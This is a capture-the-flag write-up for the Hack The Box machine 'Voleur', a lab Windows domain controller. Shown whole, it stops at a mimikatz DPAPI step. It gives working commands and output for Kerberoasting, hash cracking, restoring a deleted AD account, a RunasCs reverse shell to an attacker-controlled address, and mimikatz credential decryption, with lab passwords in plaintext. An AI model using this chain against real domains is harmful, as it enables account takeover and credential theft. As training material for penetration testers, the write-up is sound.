Hack-The-Box - Medium - Windows - Voleur

Voleur is a medium difficulty Windows machine designed around an assumed breach scenario, where I was provided with low-privileged user credentials. I started by cracking encrypted Excel Spreadsheet that contains user credentials, got a user with WinRM access to the Domain Controller (DC) via password-spraying and DACL abuse, restored a user from AD Recycle-Bin and then decrypted its DPAPI credentials from a folder, got an SSH private key to access WSL, I could access mounted C:\ from host machine as root to dump NTDS backups, and get a shell as domain administrator by parsing the NTDS database.

Machine Name	Platform	IP-Address	Difficulty	Machine Domain	Second Domain
Voleur	Windows	10.10.11.76	Medium	voleur.htb	dc.voleur.htb

Enumeration

I performed an initial Nmap scan and got the following results:

┌──(kali@kali)-[~/HTB/Voleur]
└─$ nmap -sVC --version-all -T4 -Pn -vv -oA ./nmap/full_tcp_scan -p 53,88,135,139,389,445,464,593,636,2222,3268,3269,5985,9389,49664,49668,49670,49671,55358,62122,62139, 10.10.11.76
# Nmap 7.95 scan initiated Wed Jul  9 08:10:18 2025 as: /usr/lib/nmap/nmap -sVC --version-all -T4 -Pn -vv -oA ./nmap/full_tcp_scan -p 53,88,135,139,389,445,464,593,636,2222,3268,3269,5985,9389,49664,49668,49670,49671,55358,62122,62139, 10.10.11.76
Nmap scan report for 10.10.11.76
Host is up, received user-set (0.20s latency).
Scanned at 2025-07-09 08:10:19 CST for 125s

PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-07-09 10:44:43Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  LDAP          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
2222/tcp  open  SSH           syn-ack ttl 127 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| SSH-hostkey:
|   3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
| SSH-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+vH6cIy1hEFJoRs8wB3O/XIIg4X5gPQ8XIFAiqJYvSE7viX8cyr2UsxRAt0kG2mfbNIYZ+80o9bpXJ/M2Nhv1VRi4jMtc+5boOttHY1CEteMGF6EF6jNIIjVb9F5QiMiNNJea1wRDQ2buXhRoI/KmNMp+EPmBGB7PKZ+hYpZavF0EKKTC8HEHvyYDS4CcYfR0pNwIfaxT57rSCAdcFBcOUxKWOiRBK1Rv8QBwxGBhpfFngayFj8ewOOJHaqct4OQ3JUicetvox6kG8si9r0GRigonJXm0VMi/aFvZpJwF40g7+oG2EVu/sGSR6d6t3ln5PNCgGXw95pgYR4x9fLpn/OwK6tugAjeZMla3Mybmn3dXUc5BKqVNHQCMIS6rlIfHZiF114xVGuD9q89atGxL0uTlBOuBizTaF53Z//yBlKSfvXxW4ShH6F8iE1U8aNY92gUejGclVtFCFszYBC2FvGXivcKWsuSLMny++ZkcE4X7tUBQ+CuqYYK/5TfxmIs=
|   256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMkGDGeRmex5q16ficLqbT7FFvQJxdJZsJ01vdVjKBXfMIC/oAcLPRUwu5yBZeQoOvWF8yIVDN/FJPeqjT9cgxg=
|   256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILv295drVe3lopPEgZsjMzOVlk4qZZfFz1+EjXGebLCR
3268/tcp  open  LDAP          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
55358/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
62122/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
62139/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 48371/tcp): CLEAN (Timeout)
|   Check 2 (port 52843/tcp): CLEAN (Timeout)
|   Check 3 (port 19865/udp): CLEAN (Timeout)
|   Check 4 (port 35346/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 10h34m16s
| smb2-time:
|   date: 2025-07-09T10:45:59
|_  start_date: N/A

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jul  9 08:12:24 2025 -- 1 IP address (1 host up) scanned in 125.94 seconds

The SSH service on port 2222 had the same TTL (127) as other ports.
This suggested that it was not behind a Firewall/Reverse proxy, but could be WSL.
I then added the IP-Address to the /etc/hosts file on the attacker system.
This Machine was an assumed breach scenario as it usually is with the Windows machines.

Hack-The-Box Voleur Machine - Assumed Breach Initial User Information

I then executed the enum4linux-ng tool with the given credential against the domain voleur.htb.
But I kept getting authentication error message from netexec using the credential provided.

┌──(kali@kali)-[~/HTB/Voleur]
└─$ netexec smb 10.10.11.76 -u ryan.naylor -p HollowOct31Nyt
SMB         10.10.11.76    445    10.10.11.76     [*]  x64 (name:10.10.11.76) (domain:10.10.11.76) (signing:True) (SMBv1:False)
SMB         10.10.11.76    445    10.10.11.76     [-] 10.10.11.76\ryan.naylor:HollowOct31Nyt STATUS_NOT_SUPPORTED

I deduced from the output error message that NTLM authentication was disabled.
I needed to use Kerberos Authentication instead using the impacket-getTGT.
I then got the Kerberos ticket for user using getTGT script from impacket.

┌──(kali@kali)-[~/HTB/Voleur]
└─$ impacket-getTGT -dc-ip voleur.htb voleur.htb/ryan.naylor:'HollowOct31Nyt'
Impacket v0.13.0.dev0+20250130.104306.0f4b866 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in ryan.naylor.ccache

I then checked ticket validity with netexec tool in Kali-Linux.

┌──(kali@kali)-[~/HTB/Voleur]
└─$ netexec LDAP voleur.htb -u ryan.naylor -p HollowOct31Nyt -k
LDAP        voleur.htb      389    DC.voleur.htb    [*]  x64 (name:DC.voleur.htb) (domain:voleur.htb) (signing:True) (SMBv1:False)
LDAP        voleur.htb      389    DC.voleur.htb    [+] voleur.htb\ryan.naylor:HollowOct31Nyt

I then attempted to enumerate smb using netexec tool but kept getting Realm Error.

┌──(kali@kali)-[~/HTB/Voleur]
└─$ netexec smb dc.voleur.htb -u ryan.naylor -p HollowOct31Nyt -k
SMB         dc.voleur.htb   445    dc.voleur.htb    [*]  x64 (name:dc.voleur.htb) (domain:dc.voleur.htb) (signing:True) (SMBv1:False)
SMB         dc.voleur.htb   445    dc.voleur.htb    [-] dc.voleur.htb\ryan.naylor:HollowOct31Nyt KDC_ERR_WRONG_REALM

I then attempted to use the smbclient script from the impacket toolkit instead.

┌──(kali@kali)-[~/HTB/Voleur]
└─$ impacket-smbclient -k voleur.htb/ryan.naylor:ryan.naylor@dc.voleur.htb
Impacket v0.13.0.dev0+20250130.104306.0f4b866 - Copyright Fortra, LLC and its affiliated companies

Type help for list of commands
# shares
ADMIN$
C$
Finance
HR
IPC$
IT
NETLOGON
SYSVOL
# use HR
[-] SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
# use Finance
[-] SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.

# use IT

# tree
/First-Line Support/Access_Review.xlsx
Finished - 2 files and folders
# cd First-Line Support
# ls
drw-rw-rw-          0  Wed Jan 29 03:40:17 2025 .
drw-rw-rw-          0  Wed Jan 29 03:10:01 2025 ..
-rw-rw-rw-      16896  Thu May 29 17:23:36 2025 Access_Review.xlsx
# mget Access_Review.xlsx
[*] Downloading Access_Review.xlsx

I then attempted to open the excel file but got password prompt in return.
I then used office2john tool to extract password hash and save it to AR-xlsx.hash.

┌──(kali@kali)-[~/HTB/Voleur]
└─$ office2john Access_Review.xlsx > AR-xlsx.hash

After extracting the hash, I cracked it using John the Ripper (JtR) tool.

┌──(kali@kali)-[~/HTB/Voleur]
└─$ john AR-xlsx.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
football1 (?)
1g 0:00:00:04 DONE (2025-11-06 18:40) 0.2036g/s 2336Kp/s 2336Kc/s 2336KC/s AHANACK6978012..ADRIANAH
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

After decryption, I opened the Access_Review.xlsx file in its respective File Viewer.

Hack-The-Box Voleur Machine - Access Review XLSX File Preview

Initial Access

After thoroughly looking through the file, I saw a user named Todd.Wolfe.
This user had his password set to plaintext NightT1meP1dg3on14 but account was deleted.
There were also two service accounts with passwords exposed: svc_ldap and svc_iis.
I then used the initial credentials to run bloodhound on the target machine.

┌──(kali@kali)-[~/HTB/Voleur]
└─$ KRB5CCNAME=ryan.naylor.ccache faketime -f "+8h"  bloodhound-python -k -dc dc.voleur.htb -c all -d voleur.htb -u ryan.naylor -no-pass --auth-method kerberos -ns 10.10.11.76 --zip

I then enumerated the svc_ldap service account on bloodhound.
And found that this user had WriteSPN access over svc_winrm user.

Hack-The-Box Voleur Machine - svc_ldap has WriteSPN over svc_winrm

I then decided to attempt to pivot to SVC_WINRM to get foothold on the system.
To perform this, I first got a valid kerberos ticket for the svc_ldap user.
I then got the Kerberos ticket for user using getTGT script from impacket.

┌──(kali@kali)-[~/HTB/Voleur]
└─$ impacket-getTGT voleur.htb/svc_ldap:M1XyC9pW7qT5Vn
Impacket v0.13.0.dev0+20250130.104306.0f4b866 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in svc_ldap.ccache

I then started to perform a Targeted Kerberoasting against the voleur.htb domain.

┌──(kali@kali)-[~/HTB/Voleur]
└─$ KRB5CCNAME=./svc_ldap.ccache python3 ./targetedKerberoast/targetedKerberoast.py -d voleur.htb -k --no-pass --dc-host dc.voleur.htb
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (lacey.miller)
$krb5tgs$23$*lacey.miller$VOLEUR.HTB$voleur.htb/lacey.miller*$cb3975cf21ec499892bbc635667830ba$4853843089e4075d4110dac34d462ab2513ce9d0c18bb80add799896bf3b382ad5fb10aed391d894f2b190dbdc5a1b51140675eadbe6467b5edcf2450724d718ceef0681271a1c6647b3fff1af616b921e14f23493db7a1c4dc64f9c88daeccb598b7000018ca7624ec959455373a38dcb336204e037b93ff5504b550d1d5f56494c2ee60d5bbd3cae85888a469dfb06cdea2506e2988123d9ed408fe18770236b6ff0f6be0214875ffc0d5c7c6fa51f3c6110f6596155e7d0a80d3757de7d0032f96a65ab2a3ff129250436da3ead4ad5500c256715c46cc0b557987d835d51551eb842362c923b59b5a618852c97ca13dbba26cd2a51bbd1266ba4d17170a210fc23f111ed9009d62557c1d1bf6774c20da378de39e60a5ac799367d51b8fce832226d263d4a811614096bc57ee7be812dbdc3272805e853698a309e517e35aaaf9b91130987ac32dcea5bd7c205737915cc8f54f77cff487373ba3db1196bc4c904de25cb9879978d7ccbd07356b655ce34e058ecc2a8bb99bb2e4bcc9fa04ea5cf2a78a3c37c316cfc149e9c1abbaa229c3c8fd3a382c54b3f1c2169a5aeb7ba65199196a170edf4685eee97d97ec35fa45ef57534c66a68805b042f87bf54b43a52fd0d90d47d649b4ad78cf54a57eeee6b32ce966b250f6559eb7d95e406db0c845a9be392aed8a6e93b57fe49b0a1cef5176768c2e33ca5d04b32e09ee4df2fdc561484ac6cfd25fd1578c6af46f5f973e7dfc8debb68b1f6238f419e63f66d63bef9a209f6505ead52f2303cdf93dc78295234983f094db3b880c7ad90ac955259f04276921523419ce3902d08a0d07be25f85630208522d61dc0e2ac7dd83a33358e7b793960572b49d76d3c6a784871957374d6ac75e1b66c86f4da2beb3ac2ffd19541bc3e9b511ea5b1684a134eea493de87e8b7d51827f4560bd03717661cd5f92897a4aa0a2073583f1fb1dec34e6f58c6022b5fe239db4b939653a7804832cf83cddf7df3c916dd9850f8912c1e68aeb9a6d6e05fdc72b30eebb408426cc0694bb555b8dccdbbe7c3f3191c6df992793bda03ba72fdffb84084717643db4cbe9917d516d6ad7b89432922f33381127fc98e60c5a1076036a3abd2754e7bd43d1d109bcf50bda255d234e959e1497ef5909215405b8de47b808c425ac58c78b583ba46fa8e1dab04555618ffab992a4d4552457fc6a1f37ba1af66feefd30d1b883f335755b3acd0a80cb35609381c6afd892d0dc8932d3302d6d2a2bcd6871b70e3c2d60bd8883bff41a6b3fed5899f765a7f33aa858fa6abc53259004f789abb9cf65a499e224cb6e3d140a30c017effa2b8c28cc710f49e6e07117dbfd248b5328046dde996cdb4cc468c8ee8e2170c6d891cf6334ac3302f5e30661a5aa16be8ed37637d52118caa216d311dc8abf141e70ed968de0286be8b19a3103cbfede86ae5f9837505287f0e87
[+] Printing hash for (svc_winrm)
$krb5tgs$23$*svc_winrm$VOLEUR.HTB$voleur.htb/svc_winrm*$76504d3b7c18dd90b9e70910dd506641$f710911f73fe97f2f1efd252a3947ddef475e9a3c4ad1f89c1d85147f6512d1f01c29169bd8180b3617bef3ef3a0e5dc9f0c0d4a1d4259bcc242866acc0b02f824e8de036d6829ccfce5e2e72bc8a6f92837fbf99b05decdb3fb516341ae00929e8f81e9afefa3474091e14886779fd0aeefe4f8a3de0a4c82898ce74f0b18a8d8b1cecfdf0ffdd3c79b5cfffe1cc2f618da816d87743d574f4fc65b3c9f31e688cc0038421b3da1517781a7361e83257c79b03254509b5f151c82bbede9414f06a5cc7d36c238ab19d62355decc1a5b132259fcf581143e69a95d5e1e183a4b011d8f2c863c239544fea1de8e3df3092f81f60ae0bb10494a65de305f1ea4ee412f9b500d3ea16d9bc1885cb1399da7d66bd9b4d259e467f53472706921b8d3164de7596d45deb0c38692ab192ec6653a81acfaa21610fa2346f477894576b4b4cff09f8fdf4b94e7a993e947ea8aaadfc86d854089d3fcbb32aef3cad4b69fc59d42172454da66d53eaa9779beb82f20e4e5069b5a5b7eddf07020a980d7192745b75ea21ba5534fbde6d28851a11aac72821a0e6611182a2d7f7f5331167edfe452719369c4cca534969e4f37098de686bb257f091f80fafd6dc50aa46f3050ecdcd6d59e5f2b288d07ca9ebe25973dbfecb10cb87ed722b007d02d704a8664f3036893fb4adcb35a33b09c806152f6aa4ee2c4166d4aa4a6916966b80f153b5fd8e918e8c235d735396005b56e5c773d0f039347948d540feff9b5c5a0490023188c781bdf24ea0fe51fe4b6ce1d947b160bab721ba1866f8ff661c1d841d6fb3dd431a96e94ae7c19ec2480cc87b6f005a9b43344d41895caa88d5f85cf90d113e7374fb4d5288ad899594038a6e2ca4e1fc01f4ff51f6011e80ed44a5a20f660bb18d950a4a2c33e2f79d99c732967f6e3d9f14b73606e8cbfff273658dd8c5434fb2b615be9459a8820390dde98f31d8952acee065357afbccfb5ef426cc3c46fd0ddd6ac72d42d0861c7471fb9a61ef3a2f227b7e1acdcfba5394f97bbd21c17128ce1e907b085e560e104c4bd0fd6c23631225e9540ce407b274181dfab0bc61e84e54c6891b420759430bbf7f7df4dd907d508425211bd590099d876150e554566b9934728d9f0882347cf0591aee9d29631ddc993ca1912303201b2422e5e1f67d7a30ad020fa540332e2ebcf90a74b0f8a3616b717a618856eaa4e0dcfd3c6203f7a841a79c45dc3583c3e6f8e4c87aa197daa908f45df61b797f1fda97069f1805fad3f57af34a89a1c91f4f43a6c9b7ad0952276c87b956cc5e321bece281487fae050972153ab942024fa8254478e843769b4991552c78e44ccde95fff269ae5290c9bf63dd0d302ffc0d0e0713559c60bc0ac8ac82a392b9e4162d121f4b18a864fd1de0b757cae64a4692f9bee19a444b6ef715c6ccb54136744ba31299b094ce88c31d0bdec3beef1048

After capturing the hashes, I successfully cracked the hashes with hashcat tool.

┌──(kali@kali)-[~/HTB/Voleur]
└─$ hashcat -m 13100 svc_winrm.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

.....<SNIPPING USELESS OUTPUT OF HASHCAT>....

$krb5tgs$23$*svc_winrm$VOLEUR.HTB$voleur.htb/svc_winrm*$76504d3b7c18dd90b9e70910dd506641$f710911f73fe97f2f1efd252a3947ddef475e9a3c4ad1f89c1d85147f6512d1f01c29169bd8180b3617bef3ef3a0e5dc9f0c0d4a1d4259bcc242866acc0b02f824e8de036d6829ccfce5e2e72bc8a6f92837fbf99b05decdb3fb516341ae00929e8f81e9afefa3474091e14886779fd0aeefe4f8a3de0a4c82898ce74f0b18a8d8b1cecfdf0ffdd3c79b5cfffe1cc2f618da816d87743d574f4fc65b3c9f31e688cc0038421b3da1517781a7361e83257c79b03254509b5f151c82bbede9414f06a5cc7d36c238ab19d62355decc1a5b132259fcf581143e69a95d5e1e183a4b011d8f2c863c239544fea1de8e3df3092f81f60ae0bb10494a65de305f1ea4ee412f9b500d3ea16d9bc1885cb1399da7d66bd9b4d259e467f53472706921b8d3164de7596d45deb0c38692ab192ec6653a81acfaa21610fa2346f477894576b4b4cff09f8fdf4b94e7a993e947ea8aaadfc86d854089d3fcbb32aef3cad4b69fc59d42172454da66d53eaa9779beb82f20e4e5069b5a5b7eddf07020a980d7192745b75ea21ba5534fbde6d28851a11aac72821a0e6611182a2d7f7f5331167edfe452719369c4cca534969e4f37098de686bb257f091f80fafd6dc50aa46f3050ecdcd6d59e5f2b288d07ca9ebe25973dbfecb10cb87ed722b007d02d704a8664f3036893fb4adcb35a33b09c806152f6aa4ee2c4166d4aa4a6916966b80f153b5fd8e918e8c235d735396005b56e5c773d0f039347948d540feff9b5c5a0490023188c781bdf24ea0fe51fe4b6ce1d947b160bab721ba1866f8ff661c1d841d6fb3dd431a96e94ae7c19ec2480cc87b6f005a9b43344d41895caa88d5f85cf90d113e7374fb4d5288ad899594038a6e2ca4e1fc01f4ff51f6011e80ed44a5a20f660bb18d950a4a2c33e2f79d99c732967f6e3d9f14b73606e8cbfff273658dd8c5434fb2b615be9459a8820390dde98f31d8952acee065357afbccfb5ef426cc3c46fd0ddd6ac72d42d0861c7471fb9a61ef3a2f227b7e1acdcfba5394f97bbd21c17128ce1e907b085e560e104c4bd0fd6c23631225e9540ce407b274181dfab0bc61e84e54c6891b420759430bbf7f7df4dd907d508425211bd590099d876150e554566b9934728d9f0882347cf0591aee9d29631ddc993ca1912303201b2422e5e1f67d7a30ad020fa540332e2ebcf90a74b0f8a3616b717a618856eaa4e0dcfd3c6203f7a841a79c45dc3583c3e6f8e4c87aa197daa908f45df61b797f1fda97069f1805fad3f57af34a89a1c91f4f43a6c9b7ad0952276c87b956cc5e321bece281487fae050972153ab942024fa8254478e843769b4991552c78e44ccde95fff269ae5290c9bf63dd0d302ffc0d0e0713559c60bc0ac8ac82a392b9e4162d121f4b18a864fd1de0b757cae64a4692f9bee19a444b6ef715c6ccb54136744ba31299b094ce88c31d0bdec3beef1048:AFireInsidedeOzarctica980219afi

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*svc_winrm$VOLEUR.HTB$voleur.htb/svc_wi...ef1048
Time.Started.....: Thu Nov  6 19:10:23 2025 (8 secs)
Time.Estimated...: Thu Nov  6 19:10:31 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1546.7 kH/s (1.36ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 11472896/14344385 (79.98%)
Rejected.........: 0/11472896 (0.00%)
Restore.Point....: 11468800/14344385 (79.95%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: AK78910 -> ADRIANXXL
Hardware.Mon.#1..: Util: 59%

Started: Thu Nov  6 19:10:06 2025
Stopped: Thu Nov  6 19:10:33 2025

I then tried to use the Evil-WinRM utility but the NTLM authentication was disabled.
I then got Kerberos ticket for svc_winrm user using getTGT script from impacket.

┌──(kali@kali)-[~/HTB/Voleur]
└─$ impacket-getTGT voleur.htb/svc_winrm:AFireInsidedeOzarctica980219afi
Impacket v0.13.0.dev0+20250130.104306.0f4b866 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in svc_winrm.ccache

I then exported the ticket for Kerberos Authentication and authenticate over Evil-WinRM.

┌──(kali@kali)-[~/HTB/Voleur]
└─$ export KRB5CCNAME=./svc_winrm.ccache

┌──(kali@kali)-[~/HTB/Voleur]
└─$ Evil-WinRM -r voleur.htb -i dc.voleur.htb
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/Evil-WinRM#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_winrm\Documents>

I easily got the contents of the user.txt file present on desktop of svc_winrm user.

Lateral Movement

Bloodhound enumeration revealed that svc_ldap user was member of RESTORE USERS group.
Which had GenericWrite privileges on SECOND-LINE SUPPORT TECHNICIANS Organisational Unit.
From the encrypted note found earlier, I already knew of a deleted todd.wolfe user.
But needed to get more info about it, for which I used bloodyAD to get the job done.

┌──(kali@kali)-[~/HTB/Voleur]
└─$ bloodyAD -k --host DC.voleur.htb -d voleur.htb -u svc_ldap -p M1XyC9pW7qT5Vn get writable --include-del

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=voleur,DC=htb
permission: WRITE

distinguishedName: OU=Second-Line Support Technicians,DC=voleur,DC=htb
permission: CREATE_CHILD; WRITE

distinguishedName: CN=Lacey Miller,OU=Second-Line Support Technicians,DC=voleur,DC=htb
permission: CREATE_CHILD; WRITE

distinguishedName: CN=svc_ldap,OU=Service Accounts,DC=voleur,DC=htb
permission: WRITE

distinguishedName: CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Objects,DC=voleur,DC=htb
permission: CREATE_CHILD; WRITE

distinguishedName: CN=svc_winrm,OU=Service Accounts,DC=voleur,DC=htb
permission: WRITE

I had both the CREATE_CHILD and WRITE permissions on the todd.wolfe user.
I needed both GenericWrite on deleted user and CREATE_CHILD on the OU used.
I could either enumerate this using bloodyAD with svc_ldap creds or with powershell.

┌──(kali@kali)-[~/HTB/Voleur]
└─$ bloodyAD -k --host DC.voleur.htb -d voleur.htb -u svc_ldap -p M1XyC9pW7qT5Vn get search -c 1.2.840.113556.1.4.2064 --filter '(isDeleted=TRUE)' --attr name,sAMAccountName,userPrincipalName,objectSid,lastKnownParent

distinguishedName: CN=Deleted Objects,DC=voleur,DC=htb
name: Deleted Objects

distinguishedName: CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Objects,DC=voleur,DC=htb
lastKnownParent: OU=Second-Line Support Technicians,DC=voleur,DC=htb
name: Todd Wolfe
DEL:1c6b1deb-c372-4cbb-87b1-15031de169db
objectSid: S-1-5-21-3927696377-1337352550-2781715495-1110
sAMAccountName: todd.wolfe
userPrincipalName: todd.wolfe@voleur.htb

I found out that todd.wolfe's last parent is Second-Line Support Technicians OU.
I then used this info to restore the account of the todd.wolfe user using BloodyAD.

┌──(kali@kali)-[~/HTB/Voleur]
└─$ bloodyAD -k --host DC.voleur.htb -d voleur.htb -u svc_ldap -p M1XyC9pW7qT5Vn set restore 'todd.wolfe'
[+] todd.wolfe has been restored successfully under CN=Todd Wolfe,OU=Second-Line Support Technicians,DC=voleur,DC=htb

After successful restoration, I verified the password found earlier for the restored user.

┌──(kali@kali)-[~/HTB/Voleur]
└─$ netexec LDAP voleur.htb -u todd.wolfe -p NightT1meP1dg3on14 -k
LDAP        voleur.htb      389    DC               [*] None (name:DC) (domain:voleur.htb) (signing:None) (channel binding:No TLS cert) (NTLM:False)
LDAP        voleur.htb      389    DC               [+] voleur.htb\todd.wolfe:NightT1meP1dg3on14

Then I used netexec tool again to extract new data with the bloodhound module.

┌──(kali@kali)-[~/HTB/Voleur]
└─$ netexec LDAP 10.10.11.76 --dns-server 10.10.11.76 -d voleur.htb -u todd.wolfe -p NightT1meP1dg3on14 -k --bloodhound -c ALL
LDAP        10.10.11.76     389    DC               [*] None (name:DC) (domain:voleur.htb) (signing:None) (channel binding:No TLS cert) (NTLM:False)
LDAP        10.10.11.76     389    DC               [+] voleur.htb\todd.wolfe:NightT1meP1dg3on14
LDAP        10.10.11.76     389    DC               Resolved collection methods: container, localadmin, objectprops, trusts, rdp, session, dcom, psremote, group, acl
LDAP        10.10.11.76     389    DC               Using kerberos auth without ccache, getting TGT
LDAP        10.10.11.76     389    DC               Done in 0M 46S
LDAP        10.10.11.76     389    DC               Compressing output into /home/jeff/.nxc/logs/DC_10.10.11.76_2025-11-03_073503_bloodhound.zip

Updating newer data in bloodhound and performing enumeration on the todd.wolfe user.
Found out this user was a member of SECOND-LINE TECHNICIANS & REMOTE MANAGEMENT GROUP.

Hack-The-Box Voleur Machine - Group Memberships of the Todd-Wolfe User

I then uploaded the RunasCs.exe binary to the target system via Evil-WinRM Session.
And used this binary to get a reverse shell as todd.wolfe with the earlier found credentials.

*Evil-WinRM* PS C:\programdata> ./RunasCs.exe todd.wolfe NightT1meP1dg3on14 powershell.exe -r 10.10.14.250:20000
[*] Warning: The logon for user 'todd.wolfe' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-a4e5cc$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 3724 created in background.

┌──(kali@kali)-[~/HTB/Voleur]
└─$ rlwrap nc -lnvp 20000
Connection from 10.10.11.76:62281
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Windows\system32> whoami
whoami
voleur\todd.wolfe

After a bit of post-exploit enumeration, I found the following folders in C:\IT.

PS C:\IT> ls

    Directory: C:\IT

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         1/29/2025   1:40 AM                First-Line Support
d-----         1/29/2025   7:13 AM                Second-Line Support
d-----         1/30/2025   8:11 AM                Third-Line Support

The first user, provided as part of assumed breach, was part of First-Line Support group.
The todd.wolfe user was a member of the second group, the Second-Line Support Technicians.
I assumed that later access to the third-line group would also be required.
After enumeration, I found an archived user home directory with DPAPI creds inside

PS C:\IT\Second-Line Support\Archived Users> ls

    Directory: C:\IT\Second-Line Support\Archived Users

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         1/29/2025   7:13 AM                todd.wolfe

PS C:\IT\Second-Line Support\Archived Users\todd.wolfe\Appdata\Roaming\Microsoft> ls Credentials

    Directory: C:\IT\Second-Line Support\Archived Users\todd.wolfe\Appdata\Roaming\Microsoft\Credentials

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         1/29/2025   4:55 AM            398 772275FAD58525253490A9B0039791D3

I then uploaded mimikatz.exe binary to the target machine to decrypt them.
I had problems with path containing spaces, so I used a relative path.
First, I used the mimikatz.exe binary to get the masterkey with /rpc.

mimikatz # DPAPI::masterkey /in:.\Protect\S-1-5-21-3927696377-1337352550-2781715495-1110\08949382-134f-4c63-b93c-ce52efc0aa88 /rpc
**MASTERKEYS**
  dwVersion          : 00000002 - 2
  szGuid             : {08949382-134f-4c63-b93c-ce52efc0aa88}

..... <SNIP> ....

[domainkey] with RPC
[DC] 'voleur.htb' will be the domain
[DC] 'DC.voleur.htb' will be the DC server
  key : d2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83
  sha1: 7417f03ca0d4d557935d96b3f1341bdbbcdbd907

The extracted masterkey was automatically stored in the DPAPI cache as verified.

mimikatz # DPAPI::cache

CREDENTIALS cache
=================

MASTERKEYS cache
================
GUID:{08949382-134f-4c63-b93c-ce52efc0aa88};KeyHash:7417f03ca0d4d557935d96b3f1341bdbbcdbd907

DOMAINKEYS cache
================

